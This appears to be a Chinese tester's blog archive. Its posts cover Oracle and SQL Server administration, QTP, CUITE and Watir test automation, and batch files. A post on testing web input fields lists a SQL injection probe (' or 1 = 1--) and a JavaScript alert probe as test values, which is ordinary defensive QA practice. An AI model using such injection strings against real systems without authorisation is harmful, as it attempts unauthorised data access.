sysaltfiles 主数据库 保存数据库的文件
-
importerror: dll load failed: %1 is not a valid win32 application.
2014-06-10 12:07:05
最近用robotframework 操作数据库的时候碰到一个问题 import cx_oracle报错。我操作系统是64位的server2008,python是32bit的2.7。最后总结的原因应该是python的版本应该和cx_oracle的位数是要一样的。 还有一点就是替换oci.dll的时候需要删掉cx_Oracle.pyd这个文件。问题参照:http://lijunwei1228ok.blog.163.com/blog/static/9738379720140221950632/后来碰到Unable to acquire Oracle environment handle 这个错 把oracle client 下面的oraociei10.dll,oraocci10.dll这两个dll也拷贝到sitepackage下解决。 -
VS2010 Code UI Test 开源框架CUITE介绍
2012-08-27 16:57:55
CUITE框架工作流程:
1. 定义页面控件(ObjectRepository)。
2. 定义操作步骤(Test Cases).
执行过程:
1. 加载ObjectRepository类并生成实例
2. ObjectRepositoryManager.cs 使用反射拿到ObjectRepository实例中各个field
3. 利用反射生成field对应实例,使用wrap方法,讲searchproperty及class type赋给UITestControl(T),通过T来操作UI控件。
CUITE框架源码结构:
1. 定义接口ICUITE_ControlBase
2. 定义类CUITE_ControlBase 继承接口ICUITE_ControlBase, 类包含泛型字段T,T为UITestControl 类型。
3. 类CUITE_ControlBase提供wrap和unwrap方法,用来生成运行时对象T,及返回T对象
4. 类CUITE_ControlBase封装方法中加了WaitForControlReady处理
5. 针对不同的控件类型封装了几种basecontrol(HtmlControls, WinControls, TelerikControls), 像类CUITE_HtmlControl, 继承于CUITE_ControlBase,并新增了Html特有的一些属性及方法,如属性InnerText
6. 封装Html控件类型为CUITE_Html..,继承与CUITE_HtmlControl,提供一些额外的方法。如CUITe_HtmlCheckBox类,提供方法Check2,使用javascript方式来选中checkbox。
-
网页输入框测试
2012-08-24 10:57:48
字符型输入框1. 输入框长度测试。2. 输入框可接受字符集测试0~9或A~Z或a~z或者~!@#$%^&*()_+|/=-`{}[];’”:,./?<>3. 数据库特殊字符' or 1 = 1--4. html标签,java script关键字<>, javascript.:alert("Hello!");5. 空格6. NULL, null关键字7. 特殊字符:回车enter,换行shift enter,转义字符/,&, Space, Tab, Non-ASCII 字符,%,!, ".数值型输入框1. 非法字符。 A~Z或a~z或者~!@#$%^&*()_+|/=-`{}[];’”:,./?<>2. 空字符3. 首尾字母为04. 精确位数5. 正负数6. 小数点不止一个7. 超大数值 -
Oracle 备份
2010-10-19 21:27:52
数据备份 不论何种方式,数据库的备份即为data file/control file/redo file此三种文件的备份。 1、exp/imp的备份方式 2、脱机备份方式(offline backup) 3、联机备份方式(online backup) 4、standy的运行模式
Oracle冷备份的通常步骤:
1 正常关闭数据库
2 备份所有重要的文件到备份目录(数据文件、控制文件、重做日志文件等)
3 完成备份后启动数据库
用冷备份进行恢复时,只需要将所有文件恢复到原有位置,就可以启动数据库了 。1 进入数据库#sqlplus "/as sysdba"
2 如果没有启动则要启动:SQL>startup
3 查询数据文件datafile的所在目录:
SQL>SELECT name FROM v$datafile;
查询控制文件controlfile的所在目录:
SQL>SELECT name FROM v$controlfile;
查询重做日志文件的所在目录:
SQL>SELECT member FROM v$logfile;
4 关闭数据库
SQL>shutdown
5 备份文件到备份的目录
#cp /u01/app/oracle/oradata/orcl/*.dbf /home/mzl/BackupDatabase
#cp /u01/app/oracle/oradata/orcl/*.ctl /home/mzl/BackupDatabase
#cp /u01/app/oracle/oradata/orcl/*.log /home/mzl/BackupDatabase
6 然后启动数据库
#sqlplus "/as sysdba"
SQL>startup -
安全性测试关注点
2010-10-14 16:38:45
1. sql注入。2. 数据加密。3. 文件的上传有没有限制,对特殊类型文件。4. 表单格式的html能否保存本地,修改后再提交。 -
How to: Configure Express to accept remote connections
2010-10-14 10:42:23
Content from http://blogs.msdn.com/b/sqlexpress/archive/2005/05/05/415084.aspx
The information in this posting is superseded by the following KB Article:
914277 How to configure SQL Server 2005 to allow remote connections
http://support.microsoft.com/default.aspx?scid=kb;EN-US;914277
-----------------------------------------------------------------------------------Some people have been having issues when trying to make remote connections
STEP 2: To Browse or not to Browse
to SQL Express. This document will hopefully clarify most of the issues
around remote connections.
First, networking protocols are disabled by default in SQL Server Express.
Thus, if someone simply installs Express and chooses all the defaults, SQL
Server Express will only be able to have connections originating on the
local machine where SQL Server is installed.
To enable SQL Server Express to accept remote connections we need to perform.
the following steps:
STEP 1: Enabling TCP/IP
First we must tell SQL Server Express to listen on TCP/IP, to do this
perform. the following steps:
1. Launch the SQL Server Configuration Manager from the "Microsoft SQL
Server 2005 CTP" Program menu
2. Click on the "Protocols for SQLEXPRESS" node,
3. Right click on "TCP/IP" in the list of Protocols and choose, "Enable"
Next, we have to determine if we want the SQL Browser service to be running
or not. The benefit of having this service run is that users connecting
remotely do not have to specify the port in the connection string. Note: It
is a security best practice to not run the SQLBrowser service as it reduces
the attack surface area by eliminating the need to listen on an udp port.
OPTION A: If you want to always specify a TCP port when connecting (Not
using SQL Browser service) perform. the following steps else skip these
steps:
1. Launch the SQL Server Configuration Manager from the "Microsoft SQL
Server 2005 CTP" Program menu
2. Click on the "Protocols for SQLEXPRESS" node
3. Click on the "TCP/IP" child node
4. You will notice an entry on the right panel for "IPAll", right click
on this and select, "Properties"
5. Clear out the value for "TCP Dynamic Ports"
6. Give a TcpPort number to use when making remote connections, for
purposes of this example lets choose, "2301"
At this point you should restart the SQL Server Express service. At this
point you will be able to connect remotely to SQL Express. A way I like to
check the connection is my using SQLCMD from a remote machine and connecting
like this:
SQLCMD -E -S YourServer\SQLEXPRESS,2301
The "," in the server name tells SQCMD it's a port.
So you've tried this and still get an error. Take a look at Step 3, this
should address the remaining issue.
OPTION B: If you want to use SQL Browser service perform. these steps:
Note:
You will need to make this registry key change if you are using the April
CTP or earlier versions:
To enable sqlbrowser service to listen on the port 1434, the following
registry key must be set to 1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\90\SQL
Browser\Ssrplistener
Next, restart the sqlbrowser service.
1. Start the SQL Browser Service
STEP 3: Firewall..?
At this point you should be able to remotely connect. If you still
can't chances are you have a firewall configured on the computer where SQL
Express is running. The instructions below are for Windows XP SP2's
firewall settings.
To enable the firewall to allow SQL Server Express traffic:
1. Launch the Windows Firewall configuration tool from the control
panel.
2. Click the Exceptions Tab
3. Click the "Add Programs." button and select "sqlservr.exe" from the
location where you install SQL Server Express
You should be able to remotely connect. Note, you can get more restrictive
by just specifying the port number that will be allowed (used best when
configured with Option A).
Note: If you chose to use the SQL Browser service, you must also add
sqlbrowser service executable to the exception list as it listens on udp
port 1434. -
HTML DOM学习心得(附:开心网查找空车位函数)
2008-12-28 14:30:29
HTML Dom是一个访问HTML文档的W3C标准。它定义了如何去访问页面元素对象以及属性和方法。
在DOM标准里面:
1 整个HTML文档是一个文档节点。
2 每一个HTML 标签都是一个元素节点。
3 HTML 文本都是文本节点。
4 每一个HTML 属性都是一个属性节点。HTML DOM 的一些主要属性(x是一个HTEML元素)
x.innerHtml - the inner text value of x (a HTML element)
x.nodeName - the name of x
x.nodeValue - the value of x
x.parentNode - the parent node of x
x.childNodes - the child nodes of x
x.attributes - the attributes nodes of xHTML DOM 的一些主要方法(x是一个HTEML元素)
x.getElementById(id) - get the element with a specified id
x.getElementsByTagName(name) - get all elements with a specified tag name
x.appendChild(node) - insert a child node to x
x.removeChild(node) - remove a child node from x通常访问HTML DOM节点有一下三种方法:
1 使用getElementById()
node.getElementsByTagName("tagname");
2 使用getElementsByTagName()
x=document.getElementsByTagName("p");
For i = 0 to x.Length - 1
Print x(i).innerText
3 使用HTML文档的节点树导航
node.firstChild
node.childNodes
node.parentNode掌握HTML DOM对qtp web测试是很有帮助的。
下面有个简单的例子,在开心网上搜索好友列表并把相应的车位状态取出来。如果用qtp实现的话有下面几个难点,好友的列表的长度是动态变化的,好友名称是不固定的,不同的登陆用户有不同的好友。
使用HTML DOM就可以比较方便的解决找个问题,查看页面源代码我们知道每一个好友都是存在一个"UL"标签里面,而好友的车位状态是存在"LI"标签的子节点里面。Function Find_Park()
Dim d
Set d = createobject("scrīpting.dictionary")'Get all the "UL" tag from the page, each object contains the information of one friend
Set friends = Browser("争车位 - 开心网").Page("争车位 - 开心网").Object.getElementsByTagName("ul")
For i = 0 to friends.Length - 1
'Get all the "LI" tag within each friend, one object whose style is "FLOAT: right" contain the status of the park
Set friendAttrs = friends(i).GetElementsByTagName("li")blnFlag = False
For j = 0 to friendAttrs.Length - 1
If strComp("FLOAT: right", friendAttrs(j).style.csstext, 1) = 0 Then
Set imgs = friendAttrs(j).GetElementsByTagName("img")
d.Add friends(i).InnerText, imgs(0).GetAttribute("alt")
blnFlag = True
Exit For
End If
NextIf Not blnFlag Then
d.Add friends(i).InnerText, "空"
End If
NextSet Find_Park = d
End Function -
如何使用qtp操作OpenOffice
2008-11-17 20:59:26
Public Function ConvertToURL(cFilename)
Dim sURL
' Ensure leading slash.
If Left(cFilename, 1) <> "/" Then
cFilename = "/" + cFilename
End If
sURL = Replace(cFilename, "\", "/") 'change backslashes to forward slashes.
sURL = "file://" + sURL 'Example: "file:///E:/Sample Files/Sample.ods"
ConvertToURL = sURL
End Function
Function GetData(sFileName, sSheetName)
Dim objServiceManager
Dim oDesktop
Dim oDocument
Dim oSheet
Dim oParCursor
Dim oCell
Dim xSearchDescSet ōbjServiceManager = CreateObject("com.sun.star.ServiceManager")
Set ōDesktop = objServiceManager.createInstance("com.sun.star.frame.Desktop")
Set ōDocument = oDesktop.loadComponentFromURL(ConvertToURL(sFileName), "_blank", 0, Array())
Set ōSheet = oDocument.Sheets.getByName(sSheetName)Set xSearchDesc = oSheet.createSearchDescrīptor()
xSearchDesc.SetSearchString("DC")
Set ōCell = oSheet.findFirst(xSearchDesc)
MsgBox oCell.getCellAddress().Row
MsgBox oCell.getCellAddress().Column '//Use the openoffice search function to getcell and return the row and columnSet ōRowCursor = oSheet.createCursor()
oRowCursor.gotoStartofUsedArea(false)
oRowCursor.gotoEndofUsedArea(True)
MsgBox oRowCursor.getrows.Count
Set ōColumnCursor = oSheet.createCursor()
oColumnCursor.gotoStartofUsedArea(false)
oColumnCursor.gotoEndofUsedArea(True)
MsgBox oColumnCursor.getColumns.CountMsgBox oSheet.GetCellByPosition(0, 0).GetString()
End Function
-
如何根据对象名找出对象库中完整路径的对象
2008-11-06 01:01:28
Dim MyArray()
Dim RowNumber
RowNumber = 100
ReDim MyArray(2, RowNumber)
Dim RowCount
Set RootObj = CreateObject("Mercury.ObjectRepositoryUtil")
RootObj.Load "E:\Project\QTPTest\test.tsr"
RowCount = 0
EnumberateRepository(NULL)
If RowCount < UBound(MyArray, 2) Then
ReDim Preserve MyArray(2, RowCount-1)
End If
Execute GetobjectDescrīption("q")&".Set "&"""Randall"""Set RootObj = Nothing
'***************************************************************************************
Sub EnumberateRepository(Root)
Dim TOCollection, TestObject, PropertiesCollection
Set TOCollection = RootObj.GetChildren(Root)
If RowCount > Ubound(MyArray, 2) Then
ReDim Preserve MyArray(2, Ubound(MyArray, 2) + 100)
End If
For i = 0 To TOCollection.Count - 1
Set TestObject = TOCollection.Item(i)
MyArray(0, RowCount) = TestObject.GetToProperty("MicClass")
MyArray(1, RowCount) = RootObj.GetLogicalName(TestObject)
If IsNull(Root) Then
MyArray(2, RowCount) = ""
Else
MyArray(2, RowCount) = RootObj.GetLogicalName(Root)
End If
RowCount = RowCount +1
EnumberateRepository TestObject
Next
End Sub'***************************************************************************************
Function GetobjectDescrīption(objname)
Dim ObjDescrīption, ParentName
ObjDescrīption = ""
i = UBound(MyArray, 2)
ParentName = objname
While i >= 0
If StrComp(myarray(1, i), ParentName) = 0 Then
ParentName = myarray(2, i)
If StrComp(ObjDescrīption, "") = 0 then
ōbjDescrīption = MyArray(0, i)&"("&chr(34)&MyArray(1, i)&chr(34)&")"
Else
ōbjDescrīption = MyArray(0, i)&"("&chr(34)&MyArray(1, i)&chr(34)&")"&"."&ObjDescrīption
End If
If StrComp(myarray(2, i), "") = 0 Then
GetobjectDescrīption = ObjDescrīption
Exit Function
End If
End If
i = i - 1
Wend
End Function -
HTML Elements supported by Watir
2008-09-07 14:07:02
The HTML Elements that are currently supported include:
button
<input> tags with type=button, submit, image or reset
radio
<input> tags with the type=radio; known as radio buttons
check_box
<input> tags with type=checkbox
text_field
<input> tags with the type=text (single-line), type=textarea (multi-line), and type=password
hidden
<input> tags with type=hidden
select_list
<select> tags, known as drop-downs or drop-down lists
label
<label> tags (including "for" attribute)
span
<span> tags
div
<div> tags
p
<p> (paragraph) tags
link
<a> (anchor) tags
table
<table> tags, including row and cell methods for accessing nested elements.
image
<img> tags
form
<form> tags
frame
frames, including both the <frame> elements and the corresponding pages.
map
<map> tags
area
<area> tags
li
<li> tags
:id
Used to find an element that has an "id=" attribute. Since each id should be unique, according to the XHTML specification, this is recommended as the most reliable method to find an object. *
:name
Used to find an element that has a "name=" attribute. This is useful for older versions of HTML, but "name" is deprecated in XHTML. *
:value
Used to find a text field with a given default value, or a button with a given caption, or a text field
:text
Used for links, spans, divs and other element that contain text.
:index
Used to find the nth element of the specified type on a page. For example, button(:index, 2) finds the second button. Current versions of WATIR use 1-based indexing, but future versions will use 0-based indexing.
:class
Used for an element that has a "class=" attribute.
:title
Used for an element that has a "title=" attribute.
:xpath
Finds the item using xpath query.
:method
Used only for forms, the method attribute of a form is either GET or POST.
:action
Used only for form elements, specifies the URL where the form is to be submitted.
:href
Used to identify a link by its "href=" attribute.
:src
Used to identify an image by its URL.
* :id and :name are the quickest of these to process, and so should be used when possible to speed up scrīpts.
原文地址:http://wiki.openqa.org/display/WTR/Methods+supported+by+Element -
Effective software testing: 50 Specific
2008-09-06 15:20:59
From Elfriede Dustin
1. Requirement Phase:
a) Involve Testers from the Beginning.
b) Verify the requirements.
c) Design Test Procedures As Soon As Requirements Are Available.
d) Ensure That Requirement Changes Are Communicated.
e) Beware of Developing and Testing Based on an Existing System.
2. Test Planning:
a) Understand the Task At Hand and the Related Testing Goal.
b) Consider the Risk.
c) Base Testing Efforts on a Prioritized Feature Schedule.
d) Keep Software Issues in Mind.
e) Acquire Effective Test Data.
f) Plan the Test Environment.
g) Estimate Test Preparation and Execution Time.
-
SQL 系统表
2008-09-04 21:09:23
syscharsets 主数据库字符集与排序顺序
sysconfigures 主数据库 配置选项
syscurconfigs 主数据库当前配置选项
sysdatabases 主数据库服务器中的数据库
syslanguages 主数据库语言
syslogins 主数据库 登陆帐号信息
sysoledbusers 主数据库 链接服务器登陆信息
sysprocesses 主数据库进程
sysremotelogins主数据库 远程登录帐号
syscolumns 每个数据库 列
sysconstrains 每个数据库 限制
sysfilegroups 每个数据库 文件组
sysfiles 每个数据库 文件
sysforeignkeys 每个数据库 外部关键字
sysindexs 每个数据库 索引
sysmenbers 每个数据库角色成员
sysobjects 每个数据库所有数据库对象
syspermissions 每个数据库 权限
systypes 每个数据库 用户定义数据类型
sysusers 每个数据库 用户
sysaltfiles
在特殊情况下,包含与数据库中的文件相对应的行。该表存储在 master 数据库中。
列名
数据类型
描述
fileid
smallint
每个数据库的唯一文件标识号。
groupid
smallint
文件组标识号。
size
int
文件大小(以 8 KB 页为单位)。
maxsize
int
最大文件大小(以 8 KB 页为单位)。0 值表示不增长,–1 值表示文件应一直增长到磁盘已满。
growth
int
数据库的增长大小。0 值表示不增长。根据状态的值,可以是页数或文件大小的百分比。如果 status 为 0x100000,则 growth 是文件大小的百分比;否则是页数。
status
int
仅限内部使用。
perf
int
保留。
dbid
smallint
该文件所属数据库的数据库标识号。
name
nchar(128)
文件的逻辑名称。
filename
nchar(260)
物理设备的名称,包括文件的完整路径。
>syscharsets
每个字符集在表中各占一行,表中还包含定义供 Microsoft? SQL Server? 使用的排序次序。排序次序中的一个在 sysconfigures 中标记为默认排序次序,该次序是实际使用的唯一次序。
列名
数据类型
描述
type
smallint
该行表示的实体类型。1001 是字符集;2001 是排序次序。
id
tinyint
字符集或排序次序的唯一 ID。注意排序次序和字符集不能共享相同的 ID 号。保留从 1 到 240 的 ID 范围供 SQL Server 使用。
csid
tinyint
如果该行表示字符集,则不使用该字段。如果该行表示排序次序,则该字段是在其上生成排序次序的字符集 ID。假设具有该 ID 的字符集行存在于该表中。
status
smallint
内部系统状态信息位。
name
sysname
字符集或排序次序的唯一名称。该字段必须只包含字母 A-Z 或 a-z、数字 0 – 9 和下划线 (_)。必须以字母开头。
descrīption
nvarchar(255)
字符集或排序次序功能的可选描述。
binarydefinition
varbinary(255)
仅限内部使用。
definition
image
字符集或排序次序的内部定义。该字段中的数据结构取决于类型。
sysconfigures
用户设置的每个配置选项在表中各占一行。 sysconfigures 包含最近启动 Microsoft? SQL Server? 前定义的配置选项,还包含最近启动后设置的所有动态配置选项。该表只位于 master 数据库中。
列名
数据类型
描述
value
int
变量的用户可修改值(仅在已执行 RECONFIGURE 后由 SQL Server 使用)。
config
smallint
配置变量号。
comment
nvarchar(255)
对配置选项的解释。
status
smallint
表示选项状态的位图。可能的值包括:
0 = 静态(该设置在服务器重新启动时生效)。
1 = 动态(该变量在 RECONFIGURE 语句执行时生效)。
2 = 高级(仅当设置了显示高级选项时才显示该变量)。
3 = 动态和高级。
syscurconfigs
每个当前配置选项各占一项。另外,该表还包含四个描述配置结构的项。 syscurconfigs 在由用户查询时动态生成。有关更多信息,请参见 sysconfigures。
列名
数据类型
描述
value
int
用户可修改的变量值(仅在已执行 RECONFIGURE 的情况下由 Microsoft? SQL Server? 使用)。
config
smallint
配置变量号。
comment
nvarchar(255)
对配置选项的解释。
status
smallint
表示选项状态的位图。可能的值包括:
0 = 静态(该设置在服务器重新启动时生效)。
1 = 动态(该变量在 RECONFIGURE 语句执行时生效)。
2 = 高级(仅当设置了显示高级选项时才显示该变量)。
3 = 动态和高级。sysdatabases
Microsoft? SQL Server? 上的每个数据库在表中占一行。最初安装 SQL Server 时, sysdatabases 包含 master 、 model 、 msdb 、 mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。
列名
数据类型
描述
name
sysname
数据库的名称。
dbid
smallint
数据库 ID。
sid
varbinary(85)
数据库创建者的系统 ID。
mode
smallint
用于创建数据库时在内部锁定该数据库。
status
int
状态位,其中某些状态位可由用户使用 sp_dboption ( read only 、 dbo use only 、 single user 等)进行设置:
1 = autoclose ;使用 sp_dboption 设置。
4 = select into/bulkcopy ;使用 sp_dboption 设置。
8 = trunc. log on chkpt ;使用 sp_dboption 设置。
16 = torn page detection ,使用 sp_dboption 设置。
32 = loading 。
64 = pre recovery 。
128 = recovering 。
256 = not recovered 。
512 = offline ;使用 sp_dboption 设置。
1024 = read only ;使用 sp_dboption 设置。
2048 = dbo use only ;使用
sp_dboption 设置。
4096 = single user ;使用 sp_dboption 设置。
32768 = emergency mode 。
4194304 = autoshrink 。
1073741824 = cleanly shutdown 。可以同时打开多个位。
status2
int
16384 = ANSI null default ;使用 sp_dboption 设置。
65536 = concat null yields null ,使用 sp_dboption 设置。
131072 = recursive triggers ,使用 sp_dboption 设置。
1048576 = default to local cursor ,使用 sp_dboption 设置。
8388608 = quoted identifier ,使用
sp_dboption 设置。
33554432 = cursor close on commit ,使用 sp_dboption 设置。
67108864 = ANSI nulls ,使用 sp_dboption 设置。
268435456 = ANSI warnings ,使用 sp_dboption 设置。
536870912 = full text enabled ,使用
sp_fulltext_database 设置。crdate
datetime
创建日期。
reserved
datetime
留作以后使用。
category
int
包含用于复制的信息位图:
1 = 已发布。
2 = 已订阅。
4 = 合并已发布。
8 = 合并已订阅。cmptlevel
tinyint
数据库的兼容级别。有关更多信息,请参见 sp_dbcmptlevel。
filename
nvarchar(260)
数据库主文件的操作系统路径和名称。
version
smallint
创建数据库时使用的 SQL Server 代码内部版本号。仅供 SQL Server 工具在内部用于升级处理。
syslanguages
出现在 Microsoft? SQL Server? 中的每种语言在表中各占一行。虽然美国英语不在 syslanguages 内,但该表始终可由 SQL Server 使用。该表只存储在 master 数据库中。
列名
数据类型
描述
langid
smallint
唯一语言 ID。
dateformat
nchar(3)
日期顺序(如 DMY)。
datefirst
tinyint
一周的第一天:1 表示星期一,2 表示星期二,依此类推,直到 7 表示星期日。
upgrade
int
留作系统使用。
name
sysname
正式语言名称(例如,fran?ais)。
alias
sysname
备用语言名称(如 French)。
months
nvarchar(372)
按从一月到十二月的顺序排列的用逗号分隔的月份全称列表,每个名称最多包含 20 个字符。
shortmonths
varchar(132)
按从一月到十二月的顺序排列的用逗号分隔的缩写月份名称列表,每个名称最多包含 9 个字符。
days
nvarchar(217)
按从一月到十二月的顺序排列的用逗号分隔的天名称列表,每个名称最多包含 30 个字符。
lcid
int
此种语言的 Microsoft Windows NT? 区域设置 ID。
mslangid
smallint
SQL Server 消息组 ID。
安装了 SQL Server 提供的三十三种语言。下面是语言列表。
用英语表示的名称
NT LCID
SQL Server 消息组 ID
English
1033
1033
German
1031
1031
French
1036
1036
Japanese
1041
1041
Danish
1030
1030
Spanish
3082
3082
Italian
1040
1040
Dutch
1043
1043
Norwegian
2068
2068
Portuguese
2070
2070
Finnish
1035
1035
Swedish
1053
1053
Czech
1029
1029
Hungarian
1038
1038
Polish
1045
1045
Romanian
1048
1048
Croatian
1050
1050
Slovak
1051
1051
Slovene
1060
1060
Greek
1032
1032
Bulgarian
1026
1026
Russian
1049
1049
Turkish
1055
1055
British English
2057
1033
Estonian
1061
1061
Latvian
1062
1062
Lithuanian
1063
1063
Brazilian
1046
1046
Traditional Chinese
1028
1028
Korean
1042
1042
Simplified Chinese
2052
2052
Arabic
1025
1025
Thai
1054
1054
syslogins
每个登录帐户在表中占一行。
列名
数据类型
描述
sid
varbinary(85)
安全标识符。
status
smallint
仅限内部使用。
createdate
datetime
添加登录的日期。
updatedate
datetime
更新登录的日期。
accdate
datetime
仅限内部使用。
totcpu
int
仅限内部使用。
totio
int
仅限内部使用。
spacelimit
int
仅限内部使用。
timelimit
int
仅限内部使用。
resultlimit
int
仅限内部使用。
name
varchar(30)
用户的登录 ID。
dbname
nvarchar(128)
建立连接时,用户的默认数据库名。
password
nvarchar(128)
用户的加密密码(可以是 NULL)。
language
nvarchar(128)
用户的默认语言。
denylogin
int
如果登录是 Microsoft? Windows NT? 用户或组且已被拒绝访问,则为 1。
hasaccess
int
如果已授权登录访问服务器,则为 1。
isntname
int
如果登录是 Windows NT 用户或组,则为 1;如果登录是 Microsoft SQL Server? 登录,则为 0。
isntgroup
int
如果登录是 Windows NT 组,则为 1。
isntuser
int
如果登录是 Windows NT 用户,则为 1。
sysadmin
int
如果登录是 sysadmin 服务器角色成员,则为 1。
securityadmin
int
如果登录是 securityadmin 服务器角色成员,则为 1。
serveradmin
int
如果登录是 serveradmin 固定服务器角色成员,则为 1。
setupadmin
int
如果登录是 setupadmin 固定服务器角色成员,则为 1。
processadmin
int
如果登录是 processadmin 固定服务器角色成员,则为 1。
diskadmin
int
如果登录是 diskadmin 固定服务器角色成员,则为 1。
dbcreator
int
如果登录是 dbcreator 固定服务器角色成员,则为 1。
loginname
nvarchar(128)
登录的实际名称,该名称可能不同于 SQL Server 所使用的登录名。
sysoledbusers
每个指定的链接服务器的用户和密码映射在表中占一行。该表存储在 master 数据库中。
列名
数据类型
描述
rmtsrvid
smallint
服务器的 SID(安全标识号)。
rmtloginame
nvarchar(128)
loginsid 映射到的链接 rmtservid 的远程登录名。
rmtpassword
nvarchar(128)
链接 rmtsrvid 内的指定远程登录的加密密码。
loginsid
varbinary(85)
要映射的本地登录 SID。
status
smallint
如果该值为 1,映射应使用用户自己的凭据。
changedate
datetime
上次更改映射信息的日期。
sysprocesses
sysprocesses 表中保存关于运行在 Microsoft? SQL Server? 上的进程的信息。这些进程可以是客户端进程或系统进程。 sysprocesses 只存储在 master 数据库中。
列名
数据类型
描述
spid
smallint
SQL Server 进程 ID。
kpid
smallint
Microsoft Windows NT 4.0? 线程 ID。
blocked
smallint
分块进程的进程 ID ( spid )。
waittype
binary(2)
保留。
waittime
int
当前等待时间(以毫秒为单位)。当进程不处于等待时,为 0。
lastwaittype
nchar(32)
表示上次或当前等待类型名称的字符串。
waitresource
nchar(32)
锁资源的文本化表示法。
dbid
smallint
当前正由进程使用的数据库 ID。
uid
smallint
执行命令的用户 ID。
cpu
int
进程的累计 CPU 时间。无论 SET STATISTICS TIME ON 选项是 ON 还是 OFF,都为所有进程更新该条目。
physical_io
int
进程的累计磁盘读取和写入。
memusage
int
当前分配给该进程的过程高速缓存中的页数。一个负数,表示进程正在释放由另一个进程分配的内存。
login_time
datetime
客户端进程登录到服务器的时间。对于系统进程,是存储 SQL Server 启动发生的时间。
last_batch
datetime
客户端进程上次执行远程存储过程调用或 EXECUTE 语句的时间。对于系统进程,是存储 SQL Server 启动发生的时间。
ecid
smallint
用于唯一标识代表单个进程进行操作的子线程的执行上下文 ID。
open_tran
smallint
进程的打开事务数。
status
nchar(30)
进程 ID 状态(如运行、休眠等)。
sid
binary(85)
用户的全局唯一标识符 (GUID)。
hostname
nchar(128)
工作站的名称。
program_name
nchar(128)
应用程序的名称。
hostprocess
nchar(8)
工作站进程 ID 号。
cmd
nchar(16)
当前正在执行的命令。
nt_domain
nchar(128)
客户端的 Windows NT 4.0 域(如果使用 Windows 身份验证)或信任连接的 Windows NT 4.0 域。
nt_username
nchar(128)
进程的 Windows NT 4.0用户名(如果使用 Windows 身份验证)或信任连接的 Windows NT 4.0 用户名。
net_address
nchar(12)
指派给每个用户工作站上的网络接口卡唯一标识符。当用户登录时,该标识符插入 net_address 列。
net_library
nchar(12)
用于存储客户端网络库的列。每个客户端进程都在网络连接上进入。网络连接有一个与这些进程关联的网络库,该网络库使得这些进程可以建立连接。有关更多信息,请参见客户端和服务器 Net-Library。
loginame
nchar(128)
登录名。
sysremotelogins
每个允许调用 Microsoft? SQL Server? 上的远程存储过程的远程用户占一行。
列名
数据类型
描述
remoteserverid
smallint
远程服务器标识。
remoteusername
nvarchar(128)
远程服务器上的用户登录名。
status
smallint
选项的位图。
sid
varbinary(85)
Microsoft Windows NT? 用户安全 ID。
changedate
datetime
添加远程用户的日期和时间。
syscolumns
每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。
列名
数据类型
描述
name
sysname
列名或过程参数的名称。
id
int
该列所属的表对象 ID,或与该参数关联的存储过程 ID。
xtype
tinyint
systypes 中的物理存储类型。
typestat
tinyint
仅限内部使用。
xusertype
smallint
扩展的用户定义数据类型 ID。
length
smallint
systypes 中的最大物理存储长度。
xprec
tinyint
仅限内部使用。
xscale
tinyint
仅限内部使用。
colid
smallint
列或参数 ID。
xoffset
smallint
仅限内部使用。
bitpos
tinyint
仅限内部使用。
reserved
tinyint
仅限内部使用。
colstat
smallint
仅限内部使用。
cdefault
int
该列的默认值 ID。
domain
int
该列的规则或 CHECK 约束 ID。
number
smallint
过程分组时(0 表示非过程项)的子过程号。
colorder
smallint
仅限内部使用。
autoval
varbinary(255)
仅限内部使用。
offset
smallint
该列所在行的偏移量;如果为负,表示可变长度行。
status
tinyint
用于描述列或参数属性的位图:
0x08 = 列允许空值。
0x10 = 当添加 varchar 或 varbinary 列时,ANSI 填充生效。保留 varchar 列的尾随空格,保留 varbinary 列的尾随零。
0x40 = 参数为 OUTPUT 参数。
0x80 = 列为标识列。type
tinyint
systypes 中的物理存储类型。
usertype
smallint
systypes 中的用户定义数据类型 ID。
printfmt
varchar(255)
仅限内部使用。
prec
smallint
该列的精度级别。
scale
int
该列的小数位数。
iscomputed
int
表示是否已计算该列的标志:
0 = 未计算。
1 = 已计算。isoutparam
int
表示该过程参数是否是输出参数:
1 = 真。
0 = 假。isnullable
int
表示该列是否允许空值:
1 = 真。
0 = 假。
sysconstraints
包含约束映射,映射到拥有该约束的对象。该系统目录存储在每个数据库中。
列名
数据类型
描述
constid
int
约束号。
id
int
拥有该约束的表 ID。
colid
smallint
在其上定义约束的列 ID,如果是表约束则为 0。
spare1
tinyint
保留。
status
int
位图指示状态。可能的值包括:
1 = PRIMARY KEY 约束。
2 = UNIQUE KEY 约束。
3 = FOREIGN KEY 约束。
4 = CHECK 约束。
5 = DEFAULT 约束。
16 = 列级约束。
32 = 表级约束。actions
int
保留。
error
int
保留。
sysfilegroups
数据库中的每个文件组在表中占一行。该表存储在每个数据库中。在该表中至少有一项用于主文件组。
列名
数据类型
描述
groupid
smallint
每个数据库的唯一组标识号。
allocpolicy
smallint
保留。
status
int
0x8 = READ ONLY
0x10 = DEFAULTgroupname
sysname
文件组的名称。
sysforeignkeys
包含关于表定义中的 FOREIGN KEY 约
-
BAT介绍
2008-08-12 22:07:35
批处理文件,在MS-DOS中,.bat文件是可执行文件,有一系列命令构成,其中可以包含对其他程序的调用。
首先,批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好像我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。
其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。
第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录(例如C:\BATCH),然后将所有你编写的批处理文件放到该目录中,这样只要在path中设置上c:\batch,你就可以在任意位置运行所有你编写的批处理程序。
